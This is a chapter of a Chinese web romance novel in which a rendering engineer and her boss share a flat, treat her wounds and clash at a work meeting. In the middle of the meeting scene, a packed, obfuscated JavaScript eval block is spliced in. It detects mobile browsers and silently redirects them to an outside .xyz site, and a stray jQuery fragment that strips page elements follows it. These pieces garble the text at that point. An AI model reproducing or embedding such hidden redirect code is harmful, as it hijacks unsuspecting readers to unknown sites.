衣帽间头顶灯光明晃晃的,照得本就狰狞的伤口,看着越发凄惨。
身上鸡皮疙瘩此起彼伏。
夏成熠不知道,是因为发梢水滴落在锁骨上带起的凉意,还是因为岑冬樾看她时的专注目光。
为了上药方便,她把短袖睡衣的袖子卷到了肩上,露着两条胳臂,而岑冬樾正拿着棉签,一点点帮她把手臂两侧的擦伤消毒。
他垂眸认真的模样,仿佛在料理刚买回来的猪肘子。
唯有上下滚动的喉结暴露了他的紧张,他远没有表现出来的那么冷静。
“好了。”
岑冬樾把棉签丢进垃圾桶,准备拧上碘伏药瓶的动作顿住,“你腿上,还有膝盖上的伤?”
“我自己来。”
她从岑冬樾手里接过碘伏,一低头,发梢水滴像是下暴雨般落下,沾湿了睡衣衣领,贴在皮肤上有点难受,也让她有点手足无措。
是要先消毒好?
还是先把头发吹干好?
还没等她选择,岑冬樾就已经帮她选了。
走出衣帽间的人折返,手里还多了个吹风机,看得夏成熠满头问号。
她以为是岑冬樾怕她走动不便,特地帮她拿过来的,下一秒,被鲨鱼夹夹在脑后的头发一松,湿答答地落了她满肩。
“你消毒,我帮你吹干。”
说话人语气毫无起伏,脸上波澜不惊得像是个专业厨师。
她抬头仰视着膝盖半跪着沙发上的岑冬樾,正好撞进他专注的眸光里,掀起平静湖面的一圈圈涟漪。
还以为他真只把她当肘子了。
她就算是肘子,也是色香味俱全的国宴级别酱肘子!
好吧,现在没有“色”了……
还没吐露一个字,她就被握住后颈,头又转会到原来的位置,还顺带收获了一句“别动”。
头顶呜呜暖风吹得她昏昏欲睡,指腹划过脖颈打散发丝,阵阵酥麻感宛如跌落泳池时灌入鼻腔的池水,黄色废料塞了她满脑。
大腿上的擦伤其实已经都消毒了个遍,唯独膝盖上极深的伤口,稍微一碰就疼,她实在对自己下不去死手。
呜呜声止,岑冬樾把吹风机收起,而她还对着膝盖伤口大眼瞪小眼。
脚步声在静谧中远去又归,夏成熠就见岑冬樾又坐在了她的身侧,握住她的小腿放在自己腿上。
她刚挣扎拿开,就又收获了一句“别动”。
岑冬樾抬手把手表表盘亮在她面前,金色表盘刻度看得她眼花缭乱,正中央是一副世界地图。
她对手表没什么研究,只能看出这玩样儿不便宜。
这是几个意思?
为了展示他的古董手表?
霸总强取豪夺的新变形?
“现在已经四点了,夏工。”岑冬樾微笑说,“你不困,但我困了。”
“噢……”她逞强道,“你可以去休息,我能自己来。”
“然后你准备一直瞪着伤口,等到天亮让太阳给你消毒,还是依靠你强大的身体素质等它自己愈合?”
“我没——”
她刚想澄清自己不是下不去手,膝盖传来一阵刺痛,疼得她倒吸一口凉气,骂声正要脱口而出,又是一阵刺痛。
男人冷酷无情的声音响起,“好了。”
夏成熠缓下一口气,抬眼瞪岑冬樾,原本半眯着的眼睑霎时睁大,“岑冬樾,你流鼻血了!”
抽出的纸巾连忙塞进他手里,在他皱眉擦拭时,她故意前倾身子贴在他身侧,玩味道:“岑总,这天气一热,火气这么旺啊?”
手里纸巾一扔,男人皱着的眉心松开,“对啊,夏工要帮忙吗?”
话音刚落,她感觉到身体一轻,整个人被打横抱起,吓得她连忙攀上岑冬樾的肩头,生怕他把她丢出去。
可是看着行动路径,还不如把她丢出去。
因为岑冬樾正抱着她出了衣帽间,往主卧的床上去,还没来得及挣扎,人就被丢在了松软的床上。
凉意来自后背的真丝床单,面前却是岑冬樾的虎视眈眈。
“我、我真是开玩笑的。”
她一边说着,一边用手肘撑着身体往后退,脚腕被大掌握着又拉回了原地。
大掌还在脚腕上摩挲着,倏忽间,脚腕一松,岑冬樾另一只手撑在她耳侧,越来越近的清俊脸庞上满是戏谑,本能逼得她闭眼侧头逃避。
厚重呼吸声渐远,压迫感越来越轻,清冽嗓音在微凉的空气里扩散开。
“真当自己是苦瓜了?早点睡。”
关门声响起,夏成熠徐徐睁开眼,戏谑表情早已经消失,眼前只剩柔和的微黄灯光,她松了一口气,把自己埋在枕头里。
她这不作妖就会死的习惯。
早晚能害死自己。
眼皮越来越沉,她伴着岑冬樾留下的气息,在天亮之前进入梦乡。
**
周六的一整天奔波看房子,周日睡了一个早上,要不是因为阿姨要换床单,夏成熠觉得自己能睡到又一个天黑。
周一被岑冬樾叫起来上班时,她仍然有种不真实感。
因为自己死里逃生。
因为她真和岑冬樾同居了。
上班路上的车水马龙喧杂,让她终于多了些真实感,她还活着;看了眼身旁手握方向盘,手指随着音乐节拍轻敲的岑冬樾,虚幻感又现。
岑冬樾似是感受到她的目光,没有转头,继续望着前方,嘴上却问:“隋兴说你最近一直在看房子?”
“对啊,智域去沪市了,我总不能一个人给两个人的房租吧。”
车子随着红灯缓缓停下,岑冬樾微微侧头看向她,“我有个空房间,而且夏怀民在我那儿也呆习惯了,考虑搬过来吗?”
“还真是,”她故意顿了顿,“一点都不考虑呢!”
原以为岑冬樾会说些什么让她再考虑的话,他只是挑挑眉示意知道,没再说些什么,继续往公司去。
去到公司楼下,一看岑冬樾解开安全带,夏成熠立马拉住他,“能不能不要让他们知道我前天发生了什么,我懒得解释。”
“行。”
见她还不松手,岑冬樾歪着头,似乎在问她不松手的原因。
“那个,可不可以不要让组里的人知道,我现在住在你那儿?”
“可以。”
见岑冬樾答应得爽快,她松开扯着他衣服的手,正要下车,却轮到她被岑冬樾扯住。
头还未回,就听见岑冬樾解释:“我让你搬过来,只是想问你要不要跟我合租分摊租金。”
夏成熠没接他的话,而是说:“我们分开走,省得撞上隋兴那个大喇叭!”
行动不便艰难回到工位上坐下,果不其然,董宜珊和栗子就接连来问她怎么伤成这样。
幸好她早就提前想好说法。
别问,问就是喝多了自己摔的。
许是她的酒蒙子人设深入人心,没有一个人怀疑她的说法。
直到周会上,夏成熠以为自己终于可以不用再张嘴解释,结果是确实不用解释,因为她又和岑冬樾在设计上吵得热火朝天。
一旁的隋兴看着战损值已经高达40%的夏成熠,懒懒靠在椅背上,手指在键盘上敲着,屏幕上却一个字都没有。
一开口,就是正宗的夏式阴阳怪气。
“岑总,这个渲染的工作量你让我一星期跑出来,你人还怪好的咧!”
隋兴就是个写程序跑程序的码农,他不懂建筑上的事情,也不懂原画上的东西,更不懂渲染要多久。
但他知道这次画面效果图,是要用来问资方拿下一笔投资的。
总而言之,很重要。
岑冬樾难得没有在工作量上反驳,而是松口协调,“这个软件跑得慢就换个软件,再不行就增加人手和电脑。交稿日期,改不了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787195|167005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“这个软件跑得慢,但是我跑得快啊!”
隋兴差点没忍住笑,可惜夏成熠这招摆烂式威胁对岑冬樾没用。
因为他在德国延毕那会儿,看不完岑冬樾给他的参考文献时用过,一点用都没有,只会收到岑冬樾更加猛烈的嘲讽。
他还在淡定看戏中。
毕竟二人的“辩论”现场,真让他收获良多,他现在怼人的功力与日俱增,在键盘侠里简直骂无敌手。
可岑冬樾这次居然没有出言嘲讽,而是说:“加班费三倍,连同我,再给你配五个人打下手。”
有生之年,隋兴居然看到了岑冬樾主动割地赔款!
敲击键盘的手停住,夏成熠问:“我先确定一件事,这个效果图,只是给资方看的,对吧?”
岑冬樾点头。
夏成熠嘴角微微上扬,露出一丝得意,却转瞬即逝,伸出三根手指。
“加班费三倍不变,人给我三个就行。至于岑总您,该忙什么忙什么,少在我眼前晃悠。资方看的图而已,我搞得定!”
会议结束,合上电脑走出会议室前,隋兴看了眼岿然不动的二人。
岑冬樾的割地赔款,夏成熠居然给打折了?
事情变得有趣了起来。
对于岑冬樾的退让,夏成熠习以为常,她觉得岑冬樾自己也已经习以为常,倒是隋兴看起来一副大惊小怪的模样。
不过按她现在的工作量,她也没空管隋兴在“惊”什么。
尤其是她现在和岑冬樾同一屋檐下。
十点下班回家,她看着沙发上的岑冬樾若无其事撸了把猫,又若无其事回了房间,一切都很正常,非常正常。
正常到有那么一丝丝诡异。
直到她艰难洗澡出来,坐在床上翻看着租房APP时,墙边传来一阵发闷的咚咚声。
不是敲门声,是撞墙声。
已知:普通住宅内墙厚度一般为120mm,夏成熠在房间内,能清晰听到墙体被撞击的声音。
问:声音来自何处?
她环顾四周,最后眼神锁定在床头倚着的那面墙上。一墙之隔,另一边是岑冬樾的房间。
声音断断续续,足以说明某人的若无其事是假,苦恼倒是真得没法再真。
为什么苦恼?
大抵是因为下午周会被她怼了。
眼睛一闭,脑子里浮现出岑冬樾隔着枕头撞墙的样子。
有点,好吧,冰山撞墙,确实挺好笑的。
不就被她怼了几句,至于吗……
生怕岑冬樾把自己脑子撞坏,害她没有司机可用,夏成熠扶着墙往他房门口走去,倚在墙边等咚咚声停,才敲了敲门。
一个门板可隔绝不了屋里的慌乱动静。
她在屋里脚步声渐近,岑冬樾若无其事开门前,强压下嘴角微笑,看着门被猝然打开,岑冬樾那张装出来的波澜不惊脸庞出现。
头微微侧着望向墙边的她,仿佛在问有什么事。
她抬手就敲了敲墙壁,“岑总,有人和你说过,你家隔音挺一般的吗?”
岑冬樾因为她的话耳根骤然变红,轻咳了一声后说:“我往后会注意,夏工还有什么事吗?”
“确实有件事想和你聊聊。”
这件事她开周会前就一直在想,想了很久,这个选择是不是真的妥当?
就在刚才,她总算下定决心。
夏成熠抬手就扯着岑冬樾的衣领,用力拉下,逼得他弯腰靠近。
岑冬樾也被她的突然举动吓到,眼珠子四处乱转不知该往哪里看,毕竟以他的身高,低头下看的话,很轻易就能看到些不该看的东西。
而且她的双唇,就在眼前。
暧昧气氛环绕在二人周围,他已经能听见自己的心跳乱了,因为接下来可能发生的事情。
“你要干嘛?”他最后选择闭眼,“我可什么都没看到!”